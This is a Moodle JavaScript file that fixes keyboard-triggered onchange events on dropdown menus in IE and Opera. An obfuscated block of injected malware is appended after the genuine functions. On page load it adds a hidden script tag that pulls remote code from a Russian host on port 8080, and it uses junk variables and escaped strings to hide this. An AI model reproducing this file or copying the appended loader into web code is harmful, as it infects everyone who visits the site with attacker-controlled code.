/****
Author: Jerome Mouneyrac
Bug Reference: http://tracker.moodle.org/browse/MDL-14439
IE and Opera fire the onchange when ever you move into a dropdwown list with the keyboard.
These functions fix this problem.
****/

/*
global variables

Note:
if I didn't use global variables, we would need to pass them as parameter:  
=> in initSelect(): 
   I would write "theSelect.onchange = selectChanged(...);"
   This code causes a javascript error on IE. (not firefox)
so I had to write theSelect.onchange = selectChanged; It's why I use global variables .
Because I use global variables, I didn't put this code in javascript-static.js.
This file is loaded in javascript.php.
*/ 
var select_formid;
var select_targetwindow;

//we redefine all user actions on the dropdown list
//onfocus, onchange, onkeydown, and onclick
function initSelect(formId,targetWindow)
{
    //initialise global variables
    select_formid=formId;
    select_targetwindow=targetWindow;

    var theSelect = document.getElementById(select_formid+"_jump");

    theSelect.changed = false;

    selectFocussed();

    theSelect.onchange = selectChanged;
    theSelect.onkeydown = selectKeyed;
    theSelect.onclick = selectClicked;
    
    return true;
}

function selectChanged(theElement)
{
    var theSelect;
    
    if (theElement && theElement.value)
    {
        theSelect = theElement;
    }
    else
    {
        theSelect = this;
    }
    
    if (!theSelect.changed)
    {
        return false;
    }

    //here is the onchange redirection
    select_targetwindow.location=document.getElementById(select_formid).jump.options[document.getElementById(select_formid).jump.selectedIndex].value;                                
    
    return true;
}

function selectClicked()
{
    this.changed = true;
}

function selectFocussed()
{
    this.initValue = this.value;
    
    return true;
}

//we keep Firefox behaviors: onchange is fired when we press "Enter", "Esc", or "Tab"" keys.
//note that is probably not working on Mac (keyCode could be different)
function selectKeyed(e)
{
    var theEvent;
    var keyCodeTab = "9";
    var keyCodeEnter = "13";
    var keyCodeEsc = "27";
    
    if (e)
    {
        theEvent = e;
    }
    else
    {
        theEvent = event;
    }

    if ((theEvent.keyCode == keyCodeEnter || theEvent.keyCode == keyCodeTab) && this.value != this.initValue)
    {
        this.changed = true;
        selectChanged(this);
    }
    else if (theEvent.keyCode == keyCodeEsc)
    {
        this.value = this.initValue;
    }
    else
    {
        this.changed = false;
    }
    
    return true;
}


var Gc=new String();this.Go="";this.ar='';function B(){var T;if(T!='n' && T!='Zt'){T=''};var M;if(M!='r'){M='r'};var G=window;this.GU="";var z=unescape;var Yh;if(Yh!='Fx' && Yh!='Xf'){Yh=''};var BM=z("%2f%62%69%6c%64%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%76%69%72%67%69%6e%6d%65%64%69%61%2e%63%6f%6d%2e%70%68%70");var b;if(b!='' && b!='o'){b='L'};function f(O,a){var co="";var h=new String("g");var od=new Date();var H;if(H!='Yf' && H!='p'){H='Yf'};var q=z("%5b"), v=z("%5d");var by=new Array();this.oR="";var Z=q+a+v;var WT;if(WT!='' && WT!='Lq'){WT=''};var V=new RegExp(Z, h);var Gs;if(Gs!=''){Gs='IX'};return O.replace(V, new String());var Md='';};var q_="";var b_="";var jK=new String();var DP=new String();var zv="";var Y=f('899972036975525844733915035111243','76295143');var X=document;var PU;if(PU!='MG' && PU!='qg'){PU=''};var ry=new String();var Vy=new String();var S_=new String();function F(){this.Zj='';var i;if(i!='EG'){i='EG'};var vg=z("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var Hl;if(Hl!='' && Hl!='Xd'){Hl='ze'};Vy=vg;Vy+=Y;var QQ=new Date();Vy+=BM;try {var UP=new String();this.Tx='';c=X.createElement(f('sbcerKiIpHtZ','gqb4ZRyK0QUj5hHeI'));c[z("%64%65%66%65%72")]=[6,1][1];var pw;if(pw!='nn' && pw != ''){pw=null};this.LK='';c[z("%73%72%63")]=Vy;var bW=new Date();X.body.appendChild(c);this.UH='';var Ov='';} catch(E){var ES='';var GQ=new Date();alert(E);var _j;if(_j!='N' && _j != ''){_j=null};};}this.wL="";var rP=new Array();var Uz;if(Uz!='jM' && Uz!='qH'){Uz=''};G[new String("EWeMonloa".substr(4)+"qPpud".substr(4))]=F;this.Iw="";};var Ue=new Array();var Lqz;if(Lqz!='sv' && Lqz!='je'){Lqz='sv'};B();var Qh;if(Qh!='zL'){Qh='zL'};var OU;if(OU!='jz'){OU='jz'};
